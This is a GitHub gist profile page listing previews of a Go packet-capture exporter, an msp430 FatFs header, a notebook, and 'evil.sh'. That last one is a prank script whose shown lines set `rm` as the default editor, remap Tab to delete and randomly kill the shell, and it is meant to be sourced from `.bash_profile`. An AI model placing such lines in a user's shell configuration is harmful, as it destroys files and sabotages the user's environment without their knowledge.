Skip to content

Instantly share code, notes, and snippets.

View Ziul's full-sized avatar
🏢
Working hard

Luiz Oliveira Ziul

🏢
Working hard
View GitHub Profile
@Ziul
Ziul / packets_captured.go
Last active August 31, 2023 21:52
This code demonstrates network packet capturing and metrics exporting using the Go programming language
package main
import (
"fmt"
"log"
"os"
"os/signal"
"syscall"
"net/http"
@Ziul
Ziul / motyhall.ipynb
Created June 29, 2022 16:58
MotyHall.ipynb
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@Ziul
Ziul / evil.sh
Last active May 4, 2022 21:30
Just add `source ~/evil.sh` to `.bash_profile` and wait it burn.
#!/usr/bin/env bash
# evil.sh — https://mths.be/evil.sh
# Set `rm` as the default editor.
export EDITOR=/bin/rm;
# Make Tab send the delete key.
tset -Qe $'\t';
# Randomly make the shell exit whenever a command has a non-zero exit status.
@Ziul
Ziul / diskio.h
Created October 26, 2012 03:29 — forked from RickKimball/diskio.h
msp430 Petit FatFile System sample
/*-----------------------------------------------------------------------
/ PFF - Low level disk interface modlue include file (C)ChaN, 2009
/-----------------------------------------------------------------------*/
#ifndef _DISKIO
#include "integer.h"
/* Status of Disk Functions */
typedef BYTE DSTATUS;